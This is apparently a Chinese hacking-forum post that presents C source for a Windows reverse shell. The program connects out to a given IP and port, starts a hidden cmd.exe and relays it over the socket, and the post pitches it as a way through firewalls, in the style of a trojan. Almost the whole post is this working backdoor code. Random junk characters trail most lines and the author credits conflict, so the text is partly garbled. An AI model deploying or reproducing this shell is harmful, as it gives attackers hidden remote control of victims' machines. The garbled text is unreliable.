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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j-t"  
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/* ============================== A1B%<$|pz  
Rebound port in Windows NT E|_}?>{R  
By wind,2006/7 k!d<2Qp W  
===============================*/ zEw~t&:e  
#include Sp[]vm8N  
#include Cw~fP[5XMF  
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#pragma comment(lib,"wsock32.lib") 5e&;f  
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void OutputShell(); C9eisUM  
SOCKET sClient; ~\ v"xV  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WpC9(AX5g  
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void main(int argc,char **argv) G'{&*]Z\:  
{  |?ZNGPt  
WSADATA stWsaData; 5JS*6|IbD{  
int nRet; 4j<[3~:0 o  
SOCKADDR_IN stSaiClient,stSaiServer; 1e I_F8I U  
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if(argc != 3) ,vuC0{C^  
{ d1 lxz?r  
printf("Useage:\n\rRebound DestIP DestPort\n"); s $ ?;C  
return; [ZS.6{vr  
} mcxD#+H 3  
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WSAStartup(MAKEWORD(2,2),&stWsaData); }l_8~/9  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .d+zF,02Z  
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stSaiClient.sin_family = AF_INET; 593!;2/@  
stSaiClient.sin_port = htons(0); z<8VJZd  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ei89Ngp\}  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  I^G6aw  
{ @QF;m  
printf("Bind Socket Failed!\n"); qpq(<  
return; A| y U'k  
} otQ G6  
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stSaiServer.sin_family = AF_INET; vILgM\or  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )-25?B  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `tl-] ^Y2  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x\YVB',h  
{ zO0K*s.yK  
printf("Connect Error!"); #p-\Y7f  
return; m",G;VN  
} ?5wsgP^  
OutputShell(); OXbC\^qo@  
} !wKiMgLS  
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void OutputShell() 18]Q4s8E  
{ EB p g  
char szBuff[1024]; a>k9& w  
SECURITY_ATTRIBUTES stSecurityAttributes; <]*Jhnx/  
OSVERSIONINFO stOsversionInfo; \8USFN~(Y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ruy?#rk  
STARTUPINFO stStartupInfo; Y\F4  
char *szShell; $9Gra#  
PROCESS_INFORMATION stProcessInformation; !(y(6u#  
unsigned long lBytesRead; Bf" ZmG9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {~#d_!(  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,_K:DSiB  
stSecurityAttributes.lpSecurityDescriptor = 0; Uh'W d_?  
stSecurityAttributes.bInheritHandle = TRUE; /Z]hX*QR  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Sp]ov:]%f  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y@+9Ukd/  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S KGnx  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !e('T@^u6u  
stStartupInfo.wShowWindow = SW_HIDE; ?\zyeWK0L  
stStartupInfo.hStdInput = hReadPipe; hPUZ{#;n  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?"@SxM~\  
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GetVersionEx(&stOsversionInfo); rY)m"'puP  
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switch(stOsversionInfo.dwPlatformId) Pd~z%VoO  
{ IG~Zxn1o  
case 1: ".?y!VY  
szShell = "command.com"; rym*W\AWx  
break; #r]GnC,  
default: ACF_;4%&  
szShell = "cmd.exe"; ){w!< Lb  
break; a&[>kO  
} (A-Uo   
y|3!E>Up  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'Z nJd j  
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send(sClient,szMsg,77,0); jn oX%3d-  
while(1) ac8su0  
{ )4H0Bz2G  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lE3&8~2   
if(lBytesRead) ozA%u,\7k  
{ &09G9GsnQ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FV%|*JW[;N  
send(sClient,szBuff,lBytesRead,0); Ld=6'C8ud  
} x[$ :^5V  
else ;}k_  
{ T;i+az{N:V  
lBytesRead=recv(sClient,szBuff,1024,0); !RN9wXS7  
if(lBytesRead<=0) break; 3w! NTvp  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r$%,k*X^ k  
} mOFp!(  
} 2t7=GA+j  
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return; {7Kl #b  
}
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